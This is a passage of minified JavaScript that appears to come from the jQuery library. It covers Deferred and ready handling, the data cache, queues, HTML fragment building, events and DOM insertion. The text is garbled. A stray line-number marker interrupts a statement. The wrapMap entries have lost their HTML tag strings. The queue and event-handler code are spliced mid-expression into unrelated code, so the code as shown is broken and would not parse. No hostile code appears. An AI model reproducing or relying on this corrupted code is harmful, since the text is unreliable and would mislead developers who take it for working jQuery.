function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.removeEventListener("DOMContentLoaded",J),a.removeEventListener("load",J),n.ready()}n.ready.promise=function(b){return I||(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(n.ready):(d.addEventListener("DOMContentLoaded",J),a.addEventListener("load",J))),I.promise(b)},n.ready.promise();var K=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)K(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},L=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function M(){this.expando=n.expando+M.uid++}M.uid=1,M.prototype={register:function(a,b){var c=b||{};return a.nodeType?a[this.expando]=c:Object.defineProperty(a,this.expando,{value:c,writable:!0,configurable:!0}),a[this.expando]},cache:function(a){if(!L(a))return{};var b=a[this.expando];return b||(b={},L(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[b]=c;else for(d in b)e[d]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=a[this.expando];if(void 0!==f){if(void 0===b)this.register(a);else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in f?d=[b,e]:(d=e,d=d in f?[d]:d.match(G)||[])),c=d.length;while(c--)delete f[d[c]]}(void 0===b||n.isEmptyObject(f))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!n.isEmptyObject(b)}};var N=new M,O=new M,P=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Q=/[A-Z]/g;function R(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Q,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:P.test(c)?n.parseJSON(c):c; 3 | }catch(e){}O.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return O.hasData(a)||N.hasData(a)},data:function(a,b,c){return O.access(a,b,c)},removeData:function(a,b){O.remove(a,b)},_data:function(a,b,c){return N.access(a,b,c)},_removeData:function(a,b){N.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=O.get(f),1===f.nodeType&&!N.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),R(f,d,e[d])));N.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){O.set(this,a)}):K(this,function(b){var c,d;if(f&&void 0===b){if(c=O.get(f,a)||O.get(f,a.replace(Q,"-$&").toLowerCase()),void 0!==c)return c;if(d=n.camelCase(a),c=O.get(f,d),void 0!==c)return c;if(c=R(f,d,void 0),void 0!==c)return c}else d=n.camelCase(a),this.each(function(){var c=O.get(this,d);O.set(this,d,b),a.indexOf("-")>-1&&void 0!==c&&O.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){O.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=N.get(a,b),c&&(!d||n.isArray(c)?d=N.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return N.get(a,c)||N.access(a,c,{empty:n.Callbacks("once memory").add(function(){N.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length",""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};$.optgroup=$.option,$.tbody=$.tfoot=$.colgroup=$.caption=$.thead,$.th=$.td;function _(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function aa(a,b){for(var c=0,d=a.length;d>c;c++)N.set(a[c],"globalEval",!b||N.get(b[c],"globalEval"))}var ba=/<|&#?\w+;/;function ca(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],o=0,p=a.length;p>o;o++)if(f=a[o],f||0===f)if("object"===n.type(f))n.merge(m,f.nodeType?[f]:f);else if(ba.test(f)){g=g||l.appendChild(b.createElement("div")),h=(Y.exec(f)||["",""])[1].toLowerCase(),i=$[h]||$._default,g.innerHTML=i[1]+n.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;n.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",o=0;while(f=m[o++])if(d&&n.inArray(f,d)>-1)e&&e.push(f);else if(j=n.contains(f.ownerDocument,f),g=_(l.appendChild(f),"script"),j&&aa(g),c){k=0;while(f=g[k++])Z.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var da=/^key/,ea=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,fa=/^([^.]*)(?:\.(.+)|)/;function ga(){return!0}function ha(){return!1}function ia(){try{return d.activeElement}catch(a){}}function ja(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ja(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ha;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=N.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return"undefined"!=typeof n&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(G)||[""],j=b.length;while(j--)h=fa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=N.hasData(a)&&N.get(a);if(r&&(i=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=fa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&N.remove(a,"handle events")}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(N.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!==this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,la=/\s*$/g;function pa(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function qa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function ra(a){var b=na.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function sa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(N.hasData(a)&&(f=N.access(a),g=N.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}O.hasData(a)&&(h=O.access(a),i=n.extend({},h),O.set(b,i))}}function ta(a,b){var c=b.nodeName.toLowerCase();"input"===c&&X.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function ua(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&ma.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),ua(f,b,c,d)});if(o&&(e=ca(b,a[0].ownerDocument,!1,a,d),g=e.firstChild,1===e.childNodes.length&&(e=g),g||d)){for(h=n.map(_(e,"script"),qa),i=h.length;o>m;m++)j=e,m!==p&&(j=n.clone(j,!0,!0),i&&n.merge(h,_(j,"script"))),c.call(a[m],j,m);if(i)for(k=h[h.length-1].ownerDocument,n.map(h,ra),m=0;i>m;m++)j=h[m],Z.test(j.type||"")&&!N.access(j,"globalEval")&&n.contains(k,j)&&(j.src?n._evalUrl&&n._evalUrl(j.src):n.globalEval(j.textContent.replace(oa,"")))}return a}function va(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(_(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&aa(_(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(ka,"<$1>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=_(h),f=_(a),d=0,e=f.length;e>d;d++)ta(f[d],g[d]);if(b)if(c)for(f=f||_(a),g=g||_(h),d=0,e=f.length;e>d;d++)sa(f[d],g[d]);else sa(a,h);return g=_(h,"script"),g.length>0&&aa(g,!i&&_(a,"script")),h},cleanData:function(a){for(var b,c,d,e=n.event.special,f=0;void 0!==(c=a[f]);f++)if(L(c)){if(b=c[N.expando]){if(b.events)for(d in b.events)e[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);c[N.expando]=void 0}c[O.expando]&&(c[O.expando]=void 0)}}}),n.fn.extend({domManip:ua,detach:function(a){return va(this,a,!0)},remove:function(a){return va(this,a)},text:function(a){return K(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return ua(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=pa(this,a);b.appendChild(a)}})},prepend:function(){return ua(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=pa(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return ua(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return ua(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(_(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return K(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!la.test(a)&&!$[(Y.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(_(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return ua(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(_(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),f=e.length-1,h=0;f>=h;h++)c=h===f?this:this.clone(!0),n(e[h])[b](c),g.apply(d,c.get());return this.pushStack(d)}});var wa,xa={HTML:"block",BODY:"block"};function ya(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function za(a){var b=d,c=xa[a];return c||(c=ya(a,b),"none"!==c&&c||(wa=(wa||n("